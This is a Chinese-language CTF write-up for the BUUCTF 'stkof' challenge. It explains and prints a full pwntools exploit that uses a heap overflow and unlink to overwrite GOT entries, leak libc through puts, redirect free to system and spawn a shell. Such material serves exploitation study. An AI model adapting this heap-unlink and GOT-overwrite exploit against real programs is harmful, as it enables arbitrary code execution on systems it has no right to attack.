题目可以从buuctf下载
参考链接有两篇:一篇使我们的靶场里面的内网服务器的文章链接就不贴了:他所使用的原理是通过atoi函数来达到获取shell的,另外一篇通过free-》system https://blog.csdn.net/Pwnpanda/article/details/81369367
首先拿到题目,随便输入发现没有任何提示,,,,在IDA里面仔细看了看,大概看出来
1.用来分配
2用来写入内容
3.用来free
4.好像没什么用
而且发现在输入的时候是没有验证大小的,可以随便输入所以就可以溢出修改下一个堆块
然后free触发unlink,指向指向自己想要的位置
还有就是我们发现S存放的是堆的地址 0x602140
然后大致思路就有了,通过溢出,然后出发unlink,指向自己能够控制的区域,然后泄露地址,最后获得shell(那么如何泄露地址?我这边采用的方法是使用free@got->put_plt)
首先构造五个堆块 (我这个虚拟机也不知道是更新了还是咋的,中间有好几个堆丢不是我申请的,所以申请五个进行绕过,,其中有个0x1011,0x411)
head = 0x602140 #s location
alloc(0x50) # chunk 1 raoguo 0x411
alloc(0x50)#chunk 2
alloc(0x30) #chunk 3
alloc(0x80) #chunk 4
alloc(0x20) #chunk 5
我们申请堆的地址
#fake chunk 6
payload = p64(0) #prev_size
payload += p64(0x30) #size
payload += p64(head + 0x18 - 0x18) #fd ->chunk 3
payload += p64(head + 0x18 - 0x10) #bk ->chunk 3
payload += p64(0x30) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(3, len(payload), payload)
gdb.attach(p)
free(4) #unlink
p.recvuntil('OK\n')
为什么伪造在这?因为后面可以控制堆的地址,使其指向我们想要的函数地址,并且在修改堆(就相当于修改那些函数地址)就可以达到我们要的效果
触发了unlink后的结果,可以看到第五块的pre_size变为了0xc0,也就是前两块合并了(0x30+0x80+0x10)
然后修改分别将ptr1->指向free,ptr2->指向puts
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(3, len(payload), payload)# &ptr1 = free@got &ptr2=puts@got
然后我们将free@got指向—>puts_plt
payload = p64(stkof.plt['puts'])
edit(1,len(payload),payload) # modify free@got -> put@plt
然后free(2) 就可以打印出put的地址了
同样的原理,将free@got—>指向system
payload = p64(system_addr)
edit(1,len(payload), payload)
然后还缺一个bin_sh,直接修改就可以了,,拿到shell
bin_sh = '/bin/sh\x00'
edit(5,len(bin_sh),bin_sh)
然后附上所有代码吧
from pwn import *
p = process('./stkof')
#p = remote("node4.buuoj.cn",28033)
stkof = ELF('stkof')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx,size,content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
head = 0x602140 #s location
alloc(0x50) # chunk 1 raoguo 0x411
alloc(0x50)#chunk 2
alloc(0x30) #chunk 3
alloc(0x80) #chunk 4
alloc(0x20) #chunk 5
#free(3)
#fake chunk 6
payload = p64(0) #prev_size
payload += p64(0x30) #size
payload += p64(head + 0x18 - 0x18) #fd ->chunk 3
payload += p64(head + 0x18 - 0x10) #bk ->chunk 3
payload += p64(0x30) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(3, len(payload), payload)
free(4) #unlink
p.recvuntil('OK\n')
print("free addr is : ",hex(stkof.got['free']))#free 0x602018
print("puts addr is : ",hex(stkof.got['puts']))#static puts 0x602020 changeable 0x7f212da2d6a0
print("atoi addr is : ",hex(stkof.got['atoi']))#atoi 0x602088 changeable 0x00007f08c6c5be90
print("puts_plt addr is : ",hex(stkof.plt['puts']))#atoi 0x400760
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(3, len(payload), payload)# &ptr1 = free@got &ptr2=puts@got
payload = p64(stkof.plt['puts'])
edit(1,len(payload),payload) # modify free@got -> put@plt
free(2) #print put;
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00'))
print("addr is :",hex(puts_addr))#0x7f212da2d6a0
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print("system_addr",hex(system_addr))
payload = p64(system_addr)
edit(1,len(payload), payload)
#gdb.attach(p)
bin_sh = '/bin/sh\x00'
edit(5,len(bin_sh),bin_sh)
free(5)
p.interactive()